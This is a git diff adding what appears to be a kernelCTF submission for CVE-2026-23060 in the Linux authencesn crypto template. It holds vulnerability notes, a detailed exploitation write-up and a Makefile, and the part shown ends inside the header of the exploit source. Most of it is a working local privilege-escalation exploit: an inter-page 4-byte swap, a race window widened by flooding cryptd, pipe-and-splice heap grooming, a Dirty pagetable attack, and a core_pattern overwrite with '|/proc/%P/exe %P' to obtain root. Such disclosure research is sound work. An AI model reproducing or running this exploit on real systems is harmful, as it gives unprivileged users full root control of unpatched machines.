diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/docs/exploit.md new file mode 100644 index 000000000..950a68543 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/docs/exploit.md @@ -0,0 +1,549 @@ +# Exploitation Details +This section explains how the vulnerability is turned into a privilege escalation exploit. + +## Exploitation Summary (TL;DR) + - If `AAD (associated data)` and `ciphertext` are both length 0, AEAD treats the input as a `tag-only decrypt`, which produces no output. When there is no output, AEAD does not build an RX SGL, yet the `authencesn` still dereferences `dst`. + - `authencesn` temporarily swaps two 4-byte halves within an 8-byte region, computes a hash, compares it, and then swaps the data back. Because a scatterlist can reference non-contiguous pages, we can turn this into an inter-page 4-byte swap primitive across different memory regions. + - We force the hash to run via the `cryptd` async wrapper. By flooding the `cryptd` queue with a huge amount of data before triggering the bug, we extend the race window between the swap and its restoration. + - With heap grooming, one swapped 4-byte region is a PTE and the other is a user `mmap()` page. During the race window we leak a physical base from the mmap page, then write 4 bytes into the PTE to perform a Dirty pagetable attack. This allows overwriting `core_pattern`. + +## RX SGL is not built by setting `assoclen` and `ciphertext` length to 0 +If `AAD (associated data)` and `ciphertext` are both length 0, AEAD treats the input as a `tag-only decrypt`: there is no decrypted output and only tag verification is performed. In AF_ALG AEAD this output length is tracked as `outlen` ([1]). After allocating `areq` via `af_alg_alloc_areq()` ([2]), the kernel builds the RX SGL (Receive Scatter-Gather List) for the output buffer in `af_alg_get_rsgl()` ([3]). + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/algif_aead.c#L88-L161 +static int _aead_recvmsg(struct socket *sock, struct msghdr *msg, + size_t ignored, int flags) +{ + // ... + /* + * Calculate the minimum output buffer size holding the result of the + * cipher operation. When encrypting data, the receiving buffer is + * larger by the tag length compared to the input buffer as the + * encryption operation generates the tag. For decryption, the input + * buffer provides the tag which is consumed resulting in only the + * plaintext without a buffer for the tag returned to the caller. + */ + if (ctx->enc) + outlen = used + as; + else + outlen = used - as; // **[1] For decrypt, if used==authsize then outlen becomes 0** + + /* + * The cipher operation input data is reduced by the associated data + * length as this data is processed separately later on. + */ + used -= ctx->aead_assoclen; + + /* Allocate cipher request for current operation. */ + areq = af_alg_alloc_areq(sk, sizeof(struct af_alg_async_req) + + crypto_aead_reqsize(tfm)); // **[2] Cipher request (areq) allocation** + if (IS_ERR(areq)) + return PTR_ERR(areq); + + /* convert iovecs of output buffers into RX SGL */ + err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages); // **[3] RX SGL construction inside areq** + if (err) + goto free; +} +``` + +`af_alg_alloc_areq()` allocates the `areq` buffer with `sock_kmalloc()` ([4]). In `af_alg_get_rsgl()`, the RX SGL is built only if the output length is non-zero. If `outlen` is 0, the loop is never entered, so no RX SGL is built ([5]). + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/af_alg.c#L1194-L1226 +/** + * af_alg_alloc_areq - allocate struct af_alg_async_req + * + * @sk: socket of connection to user space + * @areqlen: size of struct af_alg_async_req + crypto_*_reqsize + * Return: allocated data structure or ERR_PTR upon error + */ +struct af_alg_async_req *af_alg_alloc_areq(struct sock *sk, + unsigned int areqlen) +{ + struct af_alg_ctx *ctx = alg_sk(sk)->private; + struct af_alg_async_req *areq; + + /* Only one AIO request can be in flight. */ + if (ctx->inflight) + return ERR_PTR(-EBUSY); + + areq = sock_kmalloc(sk, areqlen, GFP_KERNEL); // **[4] areq buffer allocation** + if (unlikely(!areq)) + return ERR_PTR(-ENOMEM); + // ... +} + +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/af_alg.c#L1229-L1298 +/** + * af_alg_get_rsgl - create the RX SGL for the output data from the crypto + * operation + * + * @sk: socket of connection to user space + * @msg: user space message + * @flags: flags used to invoke recvmsg with + * @areq: instance of the cryptographic request that will hold the RX SGL + * @maxsize: maximum number of bytes to be pulled from user space + * @outlen: number of bytes in the RX SGL + * Return: 0 on success, < 0 upon error + */ +int af_alg_get_rsgl(struct sock *sk, struct msghdr *msg, int flags, + struct af_alg_async_req *areq, size_t maxsize, + size_t *outlen) +{ + struct alg_sock *ask = alg_sk(sk); + struct af_alg_ctx *ctx = ask->private; + size_t len = 0; + + while (maxsize > len && msg_data_left(msg)) { // **[5] With maxsize==0, the loop is skipped and no RX SGL is built** + struct af_alg_rsgl *rsgl; + ssize_t err; + size_t seglen; + + /* limit the amount of readable buffers */ + if (!af_alg_readable(sk)) + break; + + seglen = min_t(size_t, (maxsize - len), + msg_data_left(msg)); + + if (list_empty(&areq->rsgl_list)) { + rsgl = &areq->first_rsgl; + } else { + rsgl = sock_kmalloc(sk, sizeof(*rsgl), GFP_KERNEL); + if (unlikely(!rsgl)) + return -ENOMEM; + } + // ... + } + + *outlen = len; + return 0; +} +``` + +In a normal tag-only decrypt, `outlen=0` means the `dst` buffer is not needed, so skipping RX SGL construction is safe. In the `authencesn`, however, `assoclen` is not validated correctly and the code still consumes `dst` even when the RX SGL was never built. This lets us use uninitialized memory as a primitive. + +## Turning an in-place 4-byte swap into an inter-page swap +The core primitive provided by the bug is a 4-byte swap within the first 8 bytes of the RX SGL (`[6]`). + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/authencesn.c#L262-L311 +static int crypto_authenc_esn_decrypt(struct aead_request *req) +{ + // ... + unsigned int assoclen = req->assoclen; + unsigned int cryptlen = req->cryptlen; + u8 *ihash = ohash + crypto_ahash_digestsize(auth); + struct scatterlist *dst = req->dst; + u32 tmp[2]; + int err; + + // ... + + /* Move high-order bits of sequence number to the end. */ + // **[6] swap within 8 bytes** + scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // tmp = dst[0:8] + scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // dst[4:8] = tmp[0:4] + scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // dst[0:4] = tmp[4:8] because `assoclen + cryptlen` is 0 in our exploit scenario + + // ... +} +``` + +To extend this primitive, we rely on how `scatterlist` works. + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/include/linux/scatterlist.h#L11-L22 +struct scatterlist { + unsigned long page_link; + unsigned int offset; + unsigned int length; + dma_addr_t dma_address; +#ifdef CONFIG_NEED_SG_DMA_LENGTH + unsigned int dma_length; +#endif +#ifdef CONFIG_NEED_SG_DMA_FLAGS + unsigned int dma_flags; +#endif +}; +``` + +The purpose of `scatterlist` is to represent physically non-contiguous memory segments as a single logical buffer. The key fields are `page_link`, `offset`, and `length`: `page_link` points to a page, and `offset`/`length` describe the range inside that page. + +`scatterwalk_map_and_copy()` walks the scatterlist and copies data across physically non-contiguous pages transparently. + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/scatterwalk.c#L55-L70 +void scatterwalk_map_and_copy(void *buf, struct scatterlist *sg, + unsigned int start, unsigned int nbytes, int out) +{ + struct scatter_walk walk; + struct scatterlist tmp[2]; + + if (!nbytes) + return; + + sg = scatterwalk_ffwd(tmp, sg, start); + + scatterwalk_start(&walk, sg); + scatterwalk_copychunks(buf, &walk, nbytes, out); + scatterwalk_done(&walk, out, 0); +} +``` + +Therefore, if we craft `dst` so that two 4-byte segments point into different pages, the 4-byte swap becomes an inter-page swap primitive. Example: + +``` + RX SGL +---------------------------- +| page_link = page1 | +| offset = x | <--- +| length = 4 | | +---------------------------- | swap 4 bytes between *(page1 + x) <-> *(page2 + y) +---------------------------- | +| page_link = page2 | | +| offset = y | <--- +| length = 4 | +---------------------------- +``` + +In the exploit, page1 is a user `mmap()` page and page2 is a sprayed PTE page. This yields a 4-byte PTE write primitive, enabling a Dirty pagetable attack. The heap grooming strategy is described later. + +## Extending the race window for a reliable 4-byte swap +`crypto_authenc_esn_decrypt()` swaps 4 bytes, computes the hash over `dst` via `crypto_ahash_digest()` ([7]), and then swaps the bytes back in `crypto_authenc_esn_decrypt_tail()` ([8]). + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/authencesn.c#L262-L311 +static int crypto_authenc_esn_decrypt(struct aead_request *req) +{ + // ... + /* Move high-order bits of sequence number to the end. */ + scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); + scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); + scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); + + // ... + + ahash_request_set_tfm(ahreq, auth); + ahash_request_set_crypt(ahreq, dst, ohash, assoclen + cryptlen); + ahash_request_set_callback(ahreq, aead_request_flags(req), + authenc_esn_verify_ahash_done, req); + + err = crypto_ahash_digest(ahreq); // **[7] compute hash of dst** + if (err) + return err; + +tail: + return crypto_authenc_esn_decrypt_tail(req, aead_request_flags(req)); +} + +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/authencesn.c#L213-L252 +static int crypto_authenc_esn_decrypt_tail(struct aead_request *req, + unsigned int flags) +{ + // ... + /* Move high-order bits of sequence number back. */ + scatterwalk_map_and_copy(tmp, dst, 4, 4, 0); // **[8] swap back to restore data** + scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 0); + scatterwalk_map_and_copy(tmp, dst, 0, 8, 1); + + if (crypto_memneq(ihash, ohash, authsize)) + return -EBADMSG; + // ... +} +``` + +Here `assoclen + cryptlen` is 0, so `crypto_ahash_digest()` immediately returns without doing real hashing. + +For Dirty pagetable, we must touch the page while the PTE is temporarily modified. The swap window is narrow, so we need to extend it to reliably catch the moment from user mode. + +Normally, `authencesn` with `sha256` uses a synchronous hash: + +```c + const char *alg = "authencesn(hmac(sha256),cbc(aes))"; + + int tfmfd = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (tfmfd < 0) die("socket"); + + struct sockaddr_alg sa = {0}; + sa.salg_family = AF_ALG; + strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1); + strncpy((char *)sa.salg_name, alg, sizeof(sa.salg_name) - 1); + + if (bind(tfmfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) + die("bind"); +``` + +By default, sha256 runs as a synchronous `shash`. The kernel also provides the `cryptd` wrapper (https://www.kernelconfig.io/config_crypto_cryptd), which turns synchronous hashes into async workqueue-backed hashes. This lets `sha256` run asynchronously. + +We leverage this by making `authencesn` use `cryptd`. `cryptd` enqueues hash requests into a per-CPU `crypto_queue` and schedules them on its workqueue. If we enqueue a large amount of data before the vulnerable request, the `authencesn` hash must wait for the queue to drain first. + +Flooding the `crypto_queue` before triggering the bug extends the window between the 4-byte swap and its restoration, giving user space enough time to touch the page during the swap. + +## 4-byte Dirty pagetable +Once the inter-page 4-byte swap is reliable, we apply a standard Dirty pagetable technique. One page is a user `mmap()` page and the other is a sprayed PTE page. Because we only swap 4 bytes, we align the scatterlist so the PTE offset corresponds to the upper PFN bytes while preserving the lower flag bits. + +The lower 12 bits of a PTE are flags, so we keep them intact and swap only the PFN bytes. In stage 1 we read a kernel physical base from the user page. In stage 2 we compute the physical address of `core_pattern`, write it into the user page’s PTE, and then overwrite `core_pattern` with `"|/proc/%P/exe %P"` to complete the exploit. + +# Exploitation Analysis + +## step(0): Setup coordination and CPU affinity + +We create a `socketpair` for parent/child coordination. The parent stays on CPU 0. We `fork()` and pin the child to CPU 1. The child blocks on reading the leaked `_stext` physical base from the parent. This creates a clean two-stage pipeline: the parent performs the leak, then the child uses the leak to overwrite `core_pattern`. + +## step(1): Prepare fake authenc object + +We create a standard `authenc(hmac(sha256),cbc(aes))` AEAD and craft a short header followed by `splice()` from multiple pipes. Pipe-backed pages are non-contiguous, which helps us build a multi-page RX SGL. These pipe pages later receive PTEs when we `mmap()` the fixed spray region. The fake object is finalized in step(6) with a `recvmsg()` that is expected to fail (`iovlen=2` with `iov[1]==NULL`), but still populates the RX SGL and then frees `struct af_alg_async_req`, leaving the crafted scatterlist in heap memory. + +### Fake AEAD RX SGL layout (pipe + splice) and the 1-byte PTE skip +The fake AEAD setup (`authenc(hmac(sha256),cbc(aes))`) is used to populate a freed `struct af_alg_async_req` with a crafted RX SGL. When the real `authencesn` request is tag-only (outlen=0), its RX SGL is not built, so `authencesn` reuses this stale RX SGL as `req->dst`. That is why we pre-shape the RX SGL here: we want `dst[0..7]` to span a 4-byte user buffer followed by 4 bytes starting at offset 1 inside a pipe-backed page (which later becomes a PTE page after `mmap()` spray). + +``` +FAKE_AEAD_HEAD_LEN = 3 +FAKE_AEAD_SPLICE_LEN = 9 +FAKE_AEAD_PIPE_COUNT = 4 +``` + +**Step A: TX SGL layout from sendmsg + splice** + +`af_alg_sendmsg()` builds the TX SGL. The first `sendmsg(MSG_MORE)` copies 3 bytes into a new page, then each `splice()` adds a pipe-backed page as a separate SG entry (`MSG_SPLICE_PAGES` path). Relevant kernel paths ([1], [2]): + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/af_alg.c#L922-L1119 +int af_alg_sendmsg(struct socket *sock, struct msghdr *msg, size_t size, + unsigned int ivsize) +{ // ... + /* use the existing memory in an allocated page */ + if (ctx->merge && !(msg->msg_flags & MSG_SPLICE_PAGES)) { + sgl = list_entry(ctx->tsgl_list.prev, + struct af_alg_tsgl, list); + sg = sgl->sg + sgl->cur - 1; + len = min_t(size_t, len, + PAGE_SIZE - sg->offset - sg->length); + + // **[1] Normal sendmsg path: copy into a new page-backed SG entry.** + err = memcpy_from_msg(page_address(sg_page(sg)) + + sg->offset + sg->length, + msg, len); + if (err) + goto unlock; + + sg->length += len; + ctx->merge = (sg->offset + sg->length) & + (PAGE_SIZE - 1); + + ctx->used += len; + copied += len; + size -= len; + continue; + } + + if (msg->msg_flags & MSG_SPLICE_PAGES) { + struct sg_table sgtable = { + .sgl = sg, + .nents = sgl->cur, + .orig_nents = sgl->cur, + }; + + // **[2] MSG_SPLICE_PAGES path: attach pipe pages as SG entries.** + plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable, + MAX_SGL_ENTS - sgl->cur, 0); + if (plen < 0) { + err = plen; + goto unlock; + } + + for (; sgl->cur < sgtable.nents; sgl->cur++) + get_page(sg_page(&sg[sgl->cur])); + len -= plen; + ctx->used += plen; + copied += plen; + size -= plen; + } else { + // ... +} +EXPORT_SYMBOL_GPL(af_alg_sendmsg); +``` + +Below is the part of `vuln_setup_fake_aead_opfd()` function in our exploit. + +```c + iov.iov_base = fake_aead_buf; + iov.iov_len = FAKE_AEAD_HEAD_LEN; + aead_msg.msg_iov = &iov; + aead_msg.msg_iovlen = 1; + + // Start the request with a small header, then extend with splice. + SYSCHK(sendmsg(opfd, &aead_msg, MSG_MORE)); + for (size_t i = 0; i < FAKE_AEAD_PIPE_COUNT; i++) { + int more = (i + 1 == FAKE_AEAD_PIPE_COUNT) ? 0 : SPLICE_F_MORE; + SYSCHK(splice(pipes[i][0], 0, opfd, 0, FAKE_AEAD_SPLICE_LEN, more)); + } +``` + +This constructs the TX SGL like below. + +``` +TX SGL (ctx->tsgl_list): + sg0: [head page] len=3 offset=0 + sg1: [pipe1] len=9 offset=0 + sg2: [pipe2] len=9 offset=0 + sg3: [pipe3] len=9 offset=0 + sg4: [pipe4] len=9 offset=0 + +Total TX bytes = 3 + 4*9 = 39 +``` + +**Step B: RX SGL size reduction to 4 bytes** + +The fake `recvmsg()` from `vuln_finalize_fake_aead()` provides only a 4-byte output buffer. In `_aead_recvmsg()`: + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/algif_aead.c#L141-L266 + if (ctx->enc) + outlen = used + as; + else + outlen = used - as; + + /* convert iovecs of output buffers into RX SGL */ + err = af_alg_get_rsgl(sk, msg, flags, areq, outlen, &usedpages); + if (err) + goto free; + + /* + * Ensure output buffer is sufficiently large. If the caller provides + * less buffer space, only use the relative required input size. This + * allows AIO operation where the caller sent all data to be processed + * and the AIO operation performs the operation on the different chunks + * of the input data. + */ + if (usedpages < outlen) { + size_t less = outlen - usedpages; + if (used < less) { + err = -EINVAL; + goto free; + } + used -= less; + outlen -= less; + } + + processed = used + ctx->aead_assoclen; + // ... + af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as); +``` + +The calculated each variables are below: + +``` +outlen = used - as = 39 - 32 = 7 // outlen = used - as; +usedpages = 4 +less = outlen - usedpages = 3 // size_t less = outlen - usedpages; +used = 39 - 3 = 36 // used -= less; +outlen = 7 - 3 = 4 // outlen -= less; +processed = used + assoclen = 36 // processed = used + ctx->aead_assoclen; +``` + +So only the first 36 bytes of the TX stream are processed, and the tag starts at offset `processed - as = 4`. + +**Step C: Tag extraction creates an offset-1 pipe SG entry** + +`af_alg_pull_tsgl(sk, processed, areq->tsgl, processed - as)` reassigns the tag into `areq->tsgl` starting at byte offset 4 of the TX stream. Because the TX stream begins with 3 bytes of head data, offset 4 lands **1 byte into pipe1**. The offset handling is in `af_alg_pull_tsgl()`: + +```c +// https://github.com/gregkh/linux/blob/v6.12.62/crypto/af_alg.c#L687-L763 +/** + * af_alg_pull_tsgl - Release the specified buffers from TX SGL + * + * If @dst is non-null, reassign the pages to @dst. The caller must release + * the pages. If @dst_offset is given only reassign the pages to @dst starting + * at the @dst_offset (byte). The caller must ensure that @dst is large + * enough (e.g. by using af_alg_count_tsgl with the same offset). + * + * @sk: socket of connection to user space + * @used: Number of bytes to pull from TX SGL + * @dst: If non-NULL, buffer is reassigned to dst SGL instead of releasing. The + * caller must release the buffers in dst. + * @dst_offset: Reassign the TX SGL from given offset. All buffers before + * reaching the offset is released. + */ +void af_alg_pull_tsgl(struct sock *sk, size_t used, struct scatterlist *dst, + size_t dst_offset) +{ + // ... + + /* + * Assumption: caller created af_alg_count_tsgl(len) + * SG entries in dst. + */ + if (dst) { + if (dst_offset >= plen) { + /* discard page before offset */ + dst_offset -= plen; + } else { + /* reassign page to dst after offset */ + get_page(page); + sg_set_page(dst + j, page, + plen - dst_offset, + sg[i].offset + dst_offset); + dst_offset = 0; + j++; + } + } + + // ... +} +EXPORT_SYMBOL_GPL(af_alg_pull_tsgl); +``` + +That yields the first tag SG entry: + +``` +tag sg0: pipe1, offset=1, len=8 (9 bytes total - 1 byte skipped) +tag sg1: pipe2, offset=0, len=8 +``` + +The RX SGL built from the fake `recvmsg()` is only 4 bytes long, so when the tag SG list is chained to the RX SGL, the first 8 bytes of `dst` span: + +``` +dst sg0: user race_page, offset=0, len=4 +dst sg1: pipe1, offset=1, len=8 <-- starts at byte 1 +dst sg2: pipe2, offset=0, len=8 +``` + +This is the critical alignment: `authencesn` swaps `dst[0..3]` with `dst[4..7]`, so the 4-byte write into the pipe page starts at **offset 1**. When that pipe page later becomes a PTE page, we overwrite bytes 1..4 of the PTE while preserving the lowest byte (flags). That is why the constants are chosen as `3` and `9` — they make `processed - as = 4` land one byte into the first pipe buffer and keep 8 bytes available for the tag segment. + +## step(2): Setup authencesn context + +We open the vulnerable `authencesn(hmac(sha256),cbc(aes))` AEAD and build a tag-only decrypt request (assoclen=0, ciphertext length=0). This makes `outlen=0`, so the real RX SGL is not built, yet `authencesn` still performs its 4-byte swap on `dst`. + +## step(3): Start race helpers + +We launch the race capture thread pinned to the sibling CPU to increase the chance of catching the swap window. We also flood `cryptd` hash queues with large requests to delay async hash completion and enlarge the window between the swap and its restoration. + +## step(4): Queue authencesn request + +We `sendmsg()` the tag-only decrypt request to queue the vulnerable `authencesn` path and set up the request state. The actual swap happens later when we complete the operation with `recvmsg()`. + +## step(5): Map fixed pages for Dirty pagetable attack + +We `mmap()` a fixed region (`0x20000000`) with 0x400 pages. These are the pages whose PTEs we want to capture or modify via the 4-byte swap. + +## step(6): Finalize fake authenc object +Finalize constructing fake authenc object by calling `recvmsg()`. Explained the purpose of this from **Step B: RX SGL size reduction to 4 bytes** above about `vuln_finalize_fake_aead()` function. + +At this point the stale RX SGL layout is fixed, so the next step decides what PTE value the swap should carry into the PTE page. And we touch a sentinel byte in each page to ensure a PTE is allocated. + +## step(7): Stage-specific race page PTE setup + +Before triggering the swap, we choose what 4-byte PTE value the user race page should carry. In the parent (leak stage) we write a brk_base placeholder that encodes the Dirty Pagetable fixed page-table page (PTE `0x000009c067`, phys `0x9c000`), so if it is swapped into a PTE page we can read the brk_base PTE and derive the kernel physical base. In the child (overwrite stage) we encode the computed PTE that maps our user page to the `core_pattern` physical page (keeping lower flag bits intact). This stage-dependent value is what the swap primitive writes into the PTE page. + +## step(8): Trigger authencesn race (recvmsg) + +We call `recvmsg()` on the authencesn socket to complete the decrypt path. This is the point where the 4-byte swap actually occurs, before the async hash completes. The race thread detects the marker written into the user race page: + +- Stage 1 (parent): write a placeholder PTE to the race page, then find the spray page whose sentinel changed, read its PTE, derive the leaked physical base of `_stext` using `brk_base`, and send it to the child. +- Stage 2 (child): compute the PTE value that maps our user page to the `core_pattern` physical page (keeping the lower PTE flag bits intact), write it into the race page, and overwrite `core_pattern` with `"|/proc/%P/exe %P"`. + +Finally, the child verifies `core_pattern` and crashes intentionally to invoke the core handler. Because `core_pattern` points to `/proc/%P/exe`, the kernel executes our binary with root privileges, allowing us to get the root shell. diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..fd8c2e141 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/docs/vulnerability.md @@ -0,0 +1,42 @@ +# Vulnerability Details + +- **Requirements**: + - **Capabilities**: None + - **Kernel configuration**: `CONFIG_CRYPTO=y`, `CONFIG_CRYPTO_USER_API=y`, `CONFIG_CRYPTO_AUTHENC=y` + - **User namespaces required**: No +- **Introduced by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470958ddc30e139c41aa4f6ed3a5234 +- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2397e9264676be7794f8f7f1e9763d90bd3c7335 +- **Affected Version**: `4.3 - 6.18` +- **Affected Component**: `crypto/authencesn` +- **Syscall to disable**: - +- **Cause**: Out-of-bounds Access due to lack of minimum length check for `dst` scatterlist. +- **Description**: The authencesn template assumes ESP AAD is at least 8 bytes (SPI+SEQ) but doesn't enforce it, so decrypt can be called with assoclen < 8 and a small RX buffer. In that case `crypto_authenc_esn_decrypt()` still reads 8 bytes from req->dst to swap ESN fields, walking past the end of the dst scatterlist and face end of the list in `scatterwalk_copychunks()`. + +# Vulnerability Analysis + +`authencesn` assumes the ESP AAD is at least 8 bytes (SPI[4] + Seq[4]) per RFC 4303, but it does not validate this. During decryption it unconditionally swaps ESN-related bytes in the destination scatterlist using three `scatterwalk_map_and_copy()` calls. (`[1]`) + +```c +// https://github.com/gregkh/linux/blob/v6.12.52/crypto/authencesn.c#L262-L311 +static int crypto_authenc_esn_decrypt(struct aead_request *req) +{ + // ... + unsigned int assoclen = req->assoclen; + unsigned int cryptlen = req->cryptlen; + u8 *ihash = ohash + crypto_ahash_digestsize(auth); + struct scatterlist *dst = req->dst; + u32 tmp[2]; + int err; + + // ... + + /* Move high-order bits of sequence number to the end. */ + scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // **[1] swap within 8 bytes without `dst` length validation** + scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); + scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); + + // ... +} +``` + +From user space (AF_ALG), AAD or ciphertext can be shorter than 8 bytes or even absent, so the RX scatterlist may cover fewer than 8 bytes. In that case `scatterwalk_map_and_copy()` can walk past the end of the SGL, triggering a NULL dereference in `scatterwalk_copychunks()` and can also result in reads from uninitialized memory. diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/Makefile b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/Makefile new file mode 120000 index 000000000..de1a447a4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/Makefile @@ -0,0 +1 @@ +../lts-6.12.62/Makefile \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/exploit b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/exploit new file mode 120000 index 000000000..3641f294c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/exploit @@ -0,0 +1 @@ +../lts-6.12.62/exploit \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/exploit.cpp new file mode 120000 index 000000000..11f471f9a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/cos-121-18867.294.66/exploit.cpp @@ -0,0 +1 @@ +../lts-6.12.62/exploit.cpp \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/Makefile b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/Makefile new file mode 100644 index 000000000..deee557e3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/Makefile @@ -0,0 +1,10 @@ +all: exploit + +prerequisites: + wget -O target_db.kxdb https://storage.googleapis.com/kernelxdk/db/kernelctf.kxdb + +exploit: exploit.cpp + g++ -o exploit exploit.cpp -static -lkernelXDK + +exploit_debug: exploit.cpp + g++ -o exploit_debug exploit.cpp -g -static -lkernelXDK \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/exploit b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/exploit new file mode 100755 index 000000000..398608ccf Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/exploit.cpp b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/exploit.cpp new file mode 100644 index 000000000..a1a5a3e5f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23060_lts_cos_mitigation/exploit/lts-6.12.62/exploit.cpp @@ -0,0 +1,853 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +extern char **environ; + +#ifndef SOL_ALG +#define SOL_ALG 279 +#endif +#ifndef CRYPTO_AUTHENC_KEYA_PARAM +#define CRYPTO_AUTHENC_KEYA_PARAM 1 +#endif + +// AEAD parameters for authenc/authencesn. +#define AUTH_TAG_SIZE 16 /* HMAC-SHA256 tag truncated to 16 bytes. */ +#define AEAD_IV_SIZE 16 /* AES-CBC IV size. */ + +// Hash flood parameters used to widen the race window. +#define FLOOD_THREADS 16 +#define FLOOD_BUF_SIZE (8 * 1024 * 1024) + +// Fixed-address mapping region used for Dirty pagetable attack. +#define PAGE_SIZE_BYTES 0x1000 +#define SPRAY_PAGE_COUNT 0x400 +#define SPRAY_REGION_BASE 0x20000000ull +#define SPRAY_REGION_STEP 0x200000ull + +// Fake AEAD setup parameters (pipe + splice). +#define FAKE_AEAD_PIPE_COUNT 4 +#define FAKE_AEAD_PIPE_BUF_SIZE 0x100 +// Short header length required for the fake AEAD setup path. +#define FAKE_AEAD_HEAD_LEN 3 +// Splice chunk size used to extend the scatterlist. +#define FAKE_AEAD_SPLICE_LEN 9 + +// Race marker / sentinel bytes. +#define RACE_PAGE_INIT_BYTE 'a' +#define SPRAY_SENTINEL_BYTE 'b' +#define RACE_MARKER_SHIFT 24 +#define RACE_MARKER_VALUE 1 +#define RACE_WORD_SIZE (sizeof(uint32_t)) + +// Payload injected into core_pattern. +#define CORE_PATTERN_PAYLOAD "|/proc/%P/exe %P" +#define CORE_PATTERN_PAYLOAD_LEN (sizeof(CORE_PATTERN_PAYLOAD) - 1) + +// PTE bit helpers for crafting the PTE value. +#define PTE_ADDR_SHIFT 8 +// PTE flags for user RW mapping: present|rw|user|accessed|dirty. +#define PTE_USER_RW_FLAGS 0x67 +// Marker bit ORed into the PTE candidate. +#define PTE_ADDR_MARKER 0x8 + +// Placeholder PTE value used before we have a physical leak. +// This encodes a user RW PTE (0x000009c067) that points at the fixed +// page-table page (phys 0x9c000) used by the Dirty Pagetable technique to +// read the brk_base PTE and derive the kernel physical base. We store it +// shifted because only bytes 1..4 of the PTE are swapped. +#define DEFAULT_PTE_PLACEHOLDER (0x000009c067 >> PTE_ADDR_SHIFT) + +// Authenc key sizes for the authencesn trigger. +#define AUTHENC_KEY_BUF_SIZE 128 +#define AUTHENC_AUTH_KEY_LEN 20 +#define AUTHENC_ENC_KEY_LEN 16 + +// Fake authenc key sizes for the fake AEAD object. +#define AUTHENC_FAKE_AUTH_KEY_LEN 32 +#define AUTHENC_FAKE_ENC_KEY_LEN 16 + +// Control message buffer sizes for sendmsg/recvmsg. +#define AUTHENCESN_CMSG_BUF_SIZE \ + (CMSG_SPACE(sizeof(uint32_t)) + \ + CMSG_SPACE(sizeof(uint32_t)) + \ + CMSG_SPACE(sizeof(struct af_alg_iv) + AEAD_IV_SIZE)) + +#define FAKE_AEAD_CMSG_BUF_SIZE \ + (CMSG_SPACE(sizeof(uint32_t)) + \ + CMSG_SPACE(sizeof(struct 